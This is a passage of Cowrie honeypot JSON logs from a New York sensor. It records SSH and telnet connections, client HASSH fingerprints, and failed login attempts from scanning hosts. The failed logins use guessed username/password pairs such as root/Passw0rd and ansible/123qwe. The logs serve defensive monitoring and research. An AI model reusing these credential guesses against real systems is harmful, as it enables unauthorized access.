mpCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:35.254997Z","src_ip":"159.203.92.129","session":"f3c47b7f41f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123qwe","message":"login attempt [ansible/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:35.269177Z","src_ip":"159.203.92.129","session":"f3c47b7f41f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:35.555657Z","src_ip":"176.65.139.103","session":"79025a04055a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:36.277087Z","src_ip":"159.203.92.129","session":"f3c47b7f41f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44486,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40eb1e2c967","protocol":"ssh","message":"New connection: 176.65.139.103:44486 (10.17.0.5:22) [session: e40eb1e2c967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:40.426591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:40.432381Z","src_ip":"176.65.139.103","session":"e40eb1e2c967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:40.514651Z","src_ip":"176.65.139.103","session":"e40eb1e2c967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:40.773637Z","src_ip":"176.65.139.103","session":"e40eb1e2c967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:41.885854Z","src_ip":"176.65.139.103","session":"e40eb1e2c967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42208,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fa7da9ae4e0","protocol":"ssh","message":"New connection: 176.65.139.103:42208 (10.17.0.5:22) [session: 8fa7da9ae4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:46.903924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:46.920651Z","src_ip":"176.65.139.103","session":"8fa7da9ae4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:46.988984Z","src_ip":"176.65.139.103","session":"8fa7da9ae4e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:47.309906Z","src_ip":"176.65.139.103","session":"8fa7da9ae4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:48.455009Z","src_ip":"176.65.139.103","session":"8fa7da9ae4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42140,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d07781f7708","protocol":"ssh","message":"New connection: 176.65.139.103:42140 (10.17.0.5:22) [session: 4d07781f7708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:53.728849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:53.733493Z","src_ip":"176.65.139.103","session":"4d07781f7708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:53.816560Z","src_ip":"176.65.139.103","session":"4d07781f7708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:54.069268Z","src_ip":"176.65.139.103","session":"4d07781f7708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:55.188574Z","src_ip":"176.65.139.103","session":"4d07781f7708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.99288249015808,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:00.260991Z","src_ip":"185.26.126.47","session":"cc47b633f8d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42154,"dst_ip":"10.17.0.5","dst_port":22,"session":"97eb50f408e8","protocol":"ssh","message":"New connection: 176.65.139.103:42154 (10.17.0.5:22) [session: 97eb50f408e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:00.607218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:00.620691Z","src_ip":"176.65.139.103","session":"97eb50f408e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:00.691998Z","src_ip":"176.65.139.103","session":"97eb50f408e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:01.145923Z","src_ip":"176.65.139.103","session":"97eb50f408e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:02.497650Z","src_ip":"176.65.139.103","session":"97eb50f408e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40928,"dst_ip":"10.17.0.5","dst_port":22,"session":"09316a30b701","protocol":"ssh","message":"New connection: 176.65.139.103:40928 (10.17.0.5:22) [session: 09316a30b701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:07.367731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:07.373895Z","src_ip":"176.65.139.103","session":"09316a30b701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:07.462430Z","src_ip":"176.65.139.103","session":"09316a30b701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:07.714273Z","src_ip":"176.65.139.103","session":"09316a30b701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:08.813237Z","src_ip":"176.65.139.103","session":"09316a30b701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46538,"dst_ip":"10.17.0.5","dst_port":22,"session":"c353657e2246","protocol":"ssh","message":"New connection: 176.65.139.103:46538 (10.17.0.5:22) [session: c353657e2246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:14.493504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:14.500182Z","src_ip":"176.65.139.103","session":"c353657e2246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:14.577383Z","src_ip":"176.65.139.103","session":"c353657e2246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:14.927812Z","src_ip":"176.65.139.103","session":"c353657e2246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:16.027739Z","src_ip":"176.65.139.103","session":"c353657e2246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59074,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab6ac1ac3c93","protocol":"ssh","message":"New connection: 159.203.92.129:59074 (159.203.135.109:22) [session: ab6ac1ac3c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:18.992429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:18.996175Z","src_ip":"159.203.92.129","session":"ab6ac1ac3c93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:19.000188Z","src_ip":"159.203.92.129","session":"ab6ac1ac3c93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123qwe!@#QWE","message":"login attempt [ansible/123qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:19.011954Z","src_ip":"159.203.92.129","session":"ab6ac1ac3c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:20.018140Z","src_ip":"159.203.92.129","session":"ab6ac1ac3c93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46546,"dst_ip":"10.17.0.5","dst_port":22,"session":"79839c36ea16","protocol":"ssh","message":"New connection: 176.65.139.103:46546 (10.17.0.5:22) [session: 79839c36ea16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:21.209159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:21.223310Z","src_ip":"176.65.139.103","session":"79839c36ea16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:21.294578Z","src_ip":"176.65.139.103","session":"79839c36ea16","protocol":"ssh"}
